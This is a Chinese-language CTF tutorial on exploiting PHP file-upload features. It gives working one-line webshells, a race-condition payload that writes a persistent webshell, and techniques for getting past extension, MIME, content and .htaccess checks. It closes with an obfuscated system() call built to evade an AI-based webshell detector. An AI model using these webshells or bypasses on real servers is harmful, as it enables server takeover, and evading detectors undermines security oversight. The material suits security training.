Webshell(网页木马)是一种运行在 Web 服务器上的恶意脚本或工具,它允许攻击者通过网络与服务器进行远程交互和控制。
PHP文件上传题目一般以成功上传Webshell从而拿到靶机控制权限为目标。
可以自己用一句话木马 <?php @eval($_POST["a"]); ?>
,也可以用哥斯拉等工具生成webshell然后上传,连接。
在特殊情况下,也需要自己构造代码。例如当可利用字节数很小的时候,这时候就不要奢求接受 POST
参数了,直接写死命令,例如:<?=`nl /*`?>
。
一般图床等应用都会允许用户上传自己的文件并保存到服务器。但是,如果对用户上传的文件没有限制的话,那么用户很可能上传恶意代码到服务器中。
这里主要讲php的文件上传以及相关利用。另外,java和python等同样也有文件上传,这里不展开来讲了。
最简单的文件上传就是不加限制的。但是,一般题目都会加上这样那样的限制,接下来我们来讲常见的限制和绕过方法。
如果文件上传只有前端做限制,而后端没有检测的话,可以轻松的绕过。例如,前端作了如下验证:
function upload() {
var file = document.getElementById("file").files[0];
if (!/(.jpg|.png|.gif|.jpeg)$/.test(file.name)) {
alert("只能上传.jpg, .png, .gif, .jpeg格式的图片");
return false;
}
return true;
}
我们可以直接在 f12 中,直接把限制删掉,在这里就是把 upload
函数直接改成返回 true 的常值函数即可。
另外,我们也可以先上传指定后缀的图片,然后再用 burpsuite 抓包改包改成 .php 发给后端。
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。MIME 类型通用格式是:type/subtype。
一般图片的MIME是:image/xxx。而如果我们直接上传 php 的话,Content-Type 则是 application/octet-stream。
要绕过的话,我们也是用 burpsuite 抓包,然后把对应的 Content-Type 改成图片的格式即可。
原请求:
改成如下即可:
有时候,php后缀被禁止了,可以考虑用phtml,php5,php7等特殊后缀,如果配置不当,这些后缀也会被当作php代码解析。
如果配置不当,在文件最后加一个空格,也不影响最后文件解析结果,但是后缀就从 php
变成了 php
(多一个空格)。
和上面一样,如果后缀检测方式不当,可以在文件最后加一个点,这样可以绕过黑名单检测。
如果只是单纯的删去一遍php,那么可以通过pphphp这种双写来绕过。
.htaccess是apache的配置文件。如果我们上传如下内容的 .htaccess,让.txt文件当做.php文件解析,这样就可以通过.txt上传马了,也就绕过了黑名单。
AddType application/x-httpd-php .txt
.user.ini 是 PHP 的配置文件,类似于 .htaccess 但用于 PHP 环境。通过上传 .user.ini 文件,我们可以修改 PHP 的一些配置选项,从而实现某些功能。
如果后端会在上传的文件后面粗暴地加上 .png 后缀。这样子可以利用操作系统的限制,在文件名后面加上非法字符,让文件从这里截断,从而达成绕过。
%00要求:php<5.3.4
有时候,后端检测上传的文件不仅仅检测文件的 MIME 还有后缀,还会检测文件的内容。因为图片文件都有特定的文件格式。
比如 jpg 的文件头是 FFD8
,png 是 89504E47
。
因为 php 只有 <?php ?>
中包围的代码才会被当做 php 执行,而这之外的数据不影响。所以可以先找一个图片,然后修改其中的内容(例如修改图片的像素值使得恰好为 php 代码)或者在末尾追加 php 代码即可。
Windows下可以用 copy 命令来合并两个文件,例如:COPY /b file1.jpg + file2.php out.php
。
有时候,我们上传到服务器的文件,如果服务器先复制文件到指定位置,然后检测文件类型,如果不通过再对文件进行删除。
那么,假如我们上传的 1.php,然后访问 1.php 的时候会写入 webshell 到 2.php,但是服务器只知道我们上传了 1.php 而不知道 2.php,所以最后只会删除 1.php。虽然最后1.php被删除了,但是只要我们在它被删除前访问到它成功生成2.php,那么我们就可以通过 2.php 来控制。
这个方法就是条件竞争。
<?php
file_put_contents("myma.php", '<?php @eval($_REQUEST[1]);');
题目大概就是给定上传文件,然后AI会检测这个文件是不是Webshell,如果认为不是的话就可以上传。
简单做法就是稍微绕一绕,不要出现明显的恶意函数调用。
比如:
<?php
$a = "s#y#s#t#e#m#";
$b = explode("#", $a);
$c = implode("", $b);
$c($_POST['cmd']);